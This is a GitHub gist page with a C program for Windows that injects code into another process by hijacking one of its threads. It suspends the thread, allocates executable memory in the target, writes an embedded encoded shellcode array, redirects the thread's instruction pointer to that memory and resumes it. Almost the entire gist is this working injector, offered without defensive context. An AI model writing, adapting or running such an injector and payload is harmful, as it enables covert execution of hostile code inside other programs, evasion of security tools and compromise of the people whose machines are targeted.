Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Last active July 9, 2025 14:59
Show Gist options
  • Save justaguywhocodes/77909f31183dc1f2929b243da14d2228 to your computer and use it in GitHub Desktop.
Save justaguywhocodes/77909f31183dc1f2929b243da14d2228 to your computer and use it in GitHub Desktop.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
unsigned char shellcode[] = {
0x89, 0xe3, 0xd9, 0xe1, 0xd9, 0x73, 0xf4, 0x5d, 0x55, 0x59, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x37, 0x51, 0x5a, 0x6a, 0x41, 0x58, 0x50, 0x30, 0x41, 0x30, 0x41, 0x6b, 0x41, 0x41, 0x51, 0x32, 0x41, 0x42, 0x32, 0x42, 0x42, 0x30, 0x42, 0x42, 0x41, 0x42, 0x58, 0x50, 0x38, 0x41, 0x42, 0x75, 0x4a, 0x49, 0x79, 0x6c, 0x68, 0x68, 0x6e, 0x62, 0x43, 0x30, 0x35, 0x50, 0x77, 0x70, 0x65, 0x30, 0x6c, 0x49, 0x78, 0x65, 0x50, 0x31, 0x6b, 0x70, 0x35, 0x34, 0x6c, 0x4b, 0x50, 0x50, 0x36, 0x50, 0x4c, 0x4b, 0x32, 0x72, 0x74, 0x4c, 0x6c, 0x4b, 0x30, 0x52, 0x62, 0x34, 0x6c, 0x4b, 0x63, 0x42, 0x51, 0x38, 0x74, 0x4f, 0x78, 0x37, 0x42, 0x6a, 0x37, 0x56, 0x74, 0x71, 0x69, 0x6f, 0x4c, 0x6c, 0x55, 0x6c, 0x71, 0x71, 0x63, 0x4c, 0x56, 0x62, 0x44, 0x6c, 0x71, 0x30, 0x79, 0x51, 0x38, 0x4f, 0x64, 0x4d, 0x75, 0x51, 0x6b, 0x77, 0x7a, 0x42, 0x38, 0x72, 0x50, 0x52, 0x51, 0x47, 0x4e, 0x6b, 0x63, 0x62, 0x74, 0x50, 0x4c, 0x4b, 0x42, 0x6a, 0x75, 0x6c, 0x4e, 0x6b, 0x70, 0x4c, 0x52, 0x31, 0x61, 0x68, 0x59, 0x73, 0x67, 0x38, 0x76, 0x61, 0x68, 0x51, 0x53, 0x61, 0x6c, 0x4b, 0x73, 0x69, 0x51, 0x30, 0x75, 0x51, 0x4e, 0x33, 0x6c, 0x4b, 0x43, 0x79, 0x34, 0x58, 0x48, 0x63, 0x65, 0x6a, 0x32, 0x69, 0x4c, 0x4b, 0x64, 0x74, 0x4c, 0x4b, 0x66, 0x61, 0x4b, 0x66, 0x75, 0x61, 0x39, 0x6f, 0x6e, 0x4c, 0x4f, 0x31, 0x68, 0x4f, 0x74, 0x4d, 0x67, 0x71, 0x49, 0x57, 0x55, 0x68, 0x6d, 0x30, 0x32, 0x55, 0x69, 0x66, 0x76, 0x63, 0x63, 0x4d, 0x5a, 0x58, 0x55, 0x6b, 0x43, 0x4d, 0x55, 0x74, 0x33, 0x45, 0x49, 0x74, 0x72, 0x78, 0x6e, 0x6b, 0x53, 0x68, 0x36, 0x44, 0x33, 0x31, 0x7a, 0x73, 0x62, 0x46, 0x6e, 0x6b, 0x66, 0x6c, 0x62, 0x6b, 0x4c, 0x4b, 0x43, 0x68, 0x45, 0x4c, 0x36, 0x61, 0x38, 0x53, 0x6e, 0x6b, 0x57, 0x74, 0x4c, 0x4b, 0x36, 0x61, 0x4e, 0x30, 0x4f, 0x79, 0x33, 0x74, 0x61, 0x34, 0x51, 0x34, 0x53, 0x6b, 0x63, 0x6b, 0x55, 0x31, 0x56, 0x39, 0x31, 0x4a, 0x50, 0x51, 0x49, 0x6f, 0x49, 0x70, 0x71, 0x4f, 0x73, 0x6f, 0x72, 0x7a, 0x6e, 0x6b, 0x74, 0x52, 0x68, 0x6b, 0x4e, 0x6d, 0x71, 0x4d, 0x31, 0x7a, 0x75, 0x51, 0x6e, 0x6d, 0x6c, 0x45, 0x68, 0x32, 0x47, 0x70, 0x43, 0x30, 0x43, 0x30, 0x30, 0x50, 0x31, 0x78, 0x70, 0x31, 0x6e, 0x6b, 0x62, 0x4f, 0x6c, 0x47, 0x4b, 0x4f, 0x39, 0x45, 0x4f, 0x4b, 0x38, 0x70, 0x78, 0x35, 0x49, 0x32, 0x72, 0x76, 0x72, 0x48, 0x39, 0x36, 0x6d, 0x45, 0x6d, 0x6d, 0x6f, 0x6d, 0x39, 0x6f, 0x49, 0x45, 0x47, 0x4c, 0x37, 0x76, 0x61, 0x6c, 0x67, 0x7a, 0x6f, 0x70, 0x6b, 0x4b, 0x69, 0x70, 0x33, 0x45, 0x77, 0x75, 0x4d, 0x6b, 0x52, 0x67, 0x66, 0x73, 0x51, 0x62, 0x70, 0x6f, 0x51, 0x7a, 0x43, 0x30, 0x73, 0x63, 0x4b, 0x4f, 0x6e, 0x35, 0x70, 0x6e, 0x32, 0x4f, 0x31, 0x64, 0x53, 0x55, 0x74, 0x30, 0x65, 0x31, 0x73, 0x54, 0x54, 0x6e, 0x71, 0x75, 0x62, 0x58, 0x43, 0x55, 0x73, 0x30, 0x41, 0x41
};
// Function to enumerate threads and return the first thread ID for a given process ID
DWORD GetThreadIdForProcess(DWORD processId) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create thread snapshot. Error: %lu\n", GetLastError());
return 0;
}
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hSnapshot, &threadEntry)) {
printf("Failed to get first thread. Error: %lu\n", GetLastError());
CloseHandle(hSnapshot);
return 0;
}
// Iterate through threads to find one belonging to the target process
do {
if (threadEntry.th32OwnerProcessID == processId) {
CloseHandle(hSnapshot);
return threadEntry.th32ThreadID; // Return the first matching thread ID
}
} while (Thread32Next(hSnapshot, &threadEntry));
printf("No threads found for process ID %lu\n", processId);
CloseHandle(hSnapshot);
return 0;
}
int main(int argc, char* argv[]) {
// Step 1: Validate and parse command-line argument for PID
if (argc != 2) {
printf("Usage: %s <PID>\n", argv[0]);
return 1;
}
char* endptr;
DWORD processId = (DWORD)strtoul(argv[1], &endptr, 10);
if (*endptr != '\0' || processId == 0) {
printf("Invalid PID: %s\n", argv[1]);
return 1;
}
printf("Targeting process ID: %lu\n", processId);
// Step 2: Find a thread in the target process
DWORD threadId = GetThreadIdForProcess(processId);
if (threadId == 0) {
printf("Failed to find a suitable thread for process %lu\n", processId);
return 1;
}
printf("Selected thread ID: %lu\n", threadId);
// Step 3: Open the target process
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Request full access
FALSE,
processId
);
if (hProcess == NULL) {
printf("Failed to open process. Error: %lu\n", GetLastError());
return 1;
}
// Step 4: Open the target thread
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, // Request full access
FALSE,
threadId
);
if (hThread == NULL) {
printf("Failed to open thread. Error: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// Step 5: Suspend the thread
if (SuspendThread(hThread) == (DWORD)-1) {
printf("Failed to suspend thread. Error: %lu\n", GetLastError());
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Step 6: Allocate memory in the target process
LPVOID remoteMemory = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (remoteMemory == NULL) {
printf("Failed to allocate memory. Error: %lu\n", GetLastError());
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Step 7: Write the shellcode to the allocated memory
if (!WriteProcessMemory(
hProcess,
remoteMemory,
shellcode,
sizeof(shellcode),
NULL
)) {
printf("Failed to write process memory. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Step 8: Get the current thread context
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &context)) {
printf("Failed to get thread context. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Step 9: Modify the instruction pointer to point to the injected code
#ifdef _M_X64
context.Rip = (DWORD64)remoteMemory;
#else
context.Eip = (DWORD)remoteMemory;
#endif
// Step 10: Set the modified thread context
if (!SetThreadContext(hThread, &context)) {
printf("Failed to set thread context. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Step 11: Resume the thread
if (ResumeThread(hThread) == (DWORD)-1) {
printf("Failed to resume thread. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
// Cleanup
printf("Code injection completed successfully.\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment